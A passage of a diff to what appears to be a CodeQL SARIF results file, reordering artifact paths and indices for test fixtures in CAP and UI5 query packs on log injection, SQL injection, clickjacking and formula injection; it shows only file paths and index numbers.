-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/log-injection-not-depending-on-request/srv/service1.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 27
             }
@@ -3727,7 +3727,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/log-injection-not-depending-on-request/srv/service2.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 28
             }
@@ -3753,7 +3753,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 29
             }
@@ -3779,9 +3779,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 1
+              "index" : 30
             }
           }
         } ],
@@ -3805,9 +3805,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 30
+              "index" : 2
             }
           }
         } ],
@@ -3831,7 +3831,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/log-injection-with-complete-protocol-none/db/schema.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 31
             }
@@ -3857,7 +3857,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 32
             }
@@ -3909,7 +3909,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/log-injection-with-complete-protocol-none/srv/service2.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 34
             }
@@ -3935,7 +3935,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/log-injection-with-complete-protocol-none/srv/service1.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 35
             }
@@ -3961,7 +3961,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 36
             }
@@ -3987,7 +3987,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 37
             }
@@ -4013,7 +4013,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/log-injection-with-service1-protocol-none/db/schema.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 38
             }
@@ -4039,7 +4039,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 39
             }
@@ -4065,7 +4065,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 40
             }
@@ -4091,7 +4091,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/log-injection-with-service1-protocol-none/srv/service1.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 41
             }
@@ -4117,7 +4117,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/log-injection-with-service1-protocol-none/srv/service2.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 42
             }
@@ -4143,7 +4143,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 43
             }
@@ -4169,7 +4169,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/log-injection-with-service2-protocol-none/db/schema.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 44
             }
@@ -4195,7 +4195,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 45
             }
@@ -4221,7 +4221,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 46
             }
@@ -4247,7 +4247,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 47
             }
@@ -4273,7 +4273,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/log-injection-with-service2-protocol-none/srv/service1.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 48
             }
@@ -4325,7 +4325,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/log-injection-with-service2-protocol-none/srv/service2.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 50
             }
@@ -4351,7 +4351,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/log-injection-without-protocol-none/db/schema.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 51
             }
@@ -4377,7 +4377,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 52
             }
@@ -4429,7 +4429,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/log-injection-without-protocol-none/srv/service1.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 54
             }
@@ -4455,7 +4455,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/log-injection-without-protocol-none/srv/service2.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 55
             }
@@ -4481,7 +4481,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 56
             }
@@ -4507,7 +4507,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 57
             }
@@ -4559,7 +4559,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/lib/qlpack.yml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 59
             }
@@ -4585,7 +4585,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 60
             }
@@ -4611,7 +4611,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 61
             }
@@ -4637,7 +4637,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/src/qlpack.yml",
+              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 62
             }
@@ -4663,7 +4663,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 63
             }
@@ -4689,7 +4689,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js",
+              "uri" : "javascript/frameworks/ui5/lib/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 64
             }
@@ -4715,7 +4715,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html",
+              "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 65
             }
@@ -4741,7 +4741,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js",
+              "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 66
             }
@@ -4767,7 +4767,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json",
+              "uri" : "javascript/frameworks/ui5/src/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 67
             }
@@ -4793,7 +4793,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml",
+              "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 68
             }
@@ -4819,7 +4819,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js",
+              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 69
             }
@@ -4845,7 +4845,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml",
+              "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 70
             }
@@ -4871,7 +4871,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml",
+              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 71
             }
@@ -4897,7 +4897,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/attachDisplay_detachDisplay/webapp/view/App.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 72
             }
@@ -4923,7 +4923,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/property_getter_setter/webapp/view/App.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 73
             }
@@ -4949,7 +4949,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml",
+              "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 74
             }
@@ -4975,7 +4975,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml",
+              "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 75
             }
@@ -5001,7 +5001,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/qlpack.yml",
+              "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 76
             }
@@ -5027,7 +5027,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
+              "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 77
             }
@@ -5053,7 +5053,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 78
             }
@@ -5079,7 +5079,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 79
             }
@@ -5105,7 +5105,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
+              "uri" : "javascript/frameworks/ui5/test/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 80
             }
@@ -5131,7 +5131,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 81
             }
@@ -5157,7 +5157,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 82
             }
@@ -5183,7 +5183,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 83
             }
@@ -5209,7 +5209,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 84
             }
@@ -5235,7 +5235,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 85
             }
@@ -5261,7 +5261,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 86
             }
@@ -5287,7 +5287,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 87
             }
@@ -5313,7 +5313,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 88
             }
@@ -5339,7 +5339,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 89
             }
@@ -5365,7 +5365,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 90
             }
@@ -5391,7 +5391,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 91
             }
@@ -5417,7 +5417,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 92
             }
@@ -5443,7 +5443,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 93
             }
@@ -5469,7 +5469,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 94
             }
@@ -5495,7 +5495,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 95
             }
@@ -5521,7 +5521,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 96
             }
@@ -5547,7 +5547,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 97
             }
@@ -5573,7 +5573,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 98
             }
@@ -5599,7 +5599,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 99
             }
@@ -5625,7 +5625,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 100
             }
@@ -5651,7 +5651,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 101
             }
@@ -5677,7 +5677,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 102
             }
@@ -5703,7 +5703,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 103
             }
@@ -5729,7 +5729,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 104
             }
@@ -5755,7 +5755,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 105
             }
@@ -5781,7 +5781,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 106
             }
@@ -5807,7 +5807,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 107
             }
@@ -5833,7 +5833,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
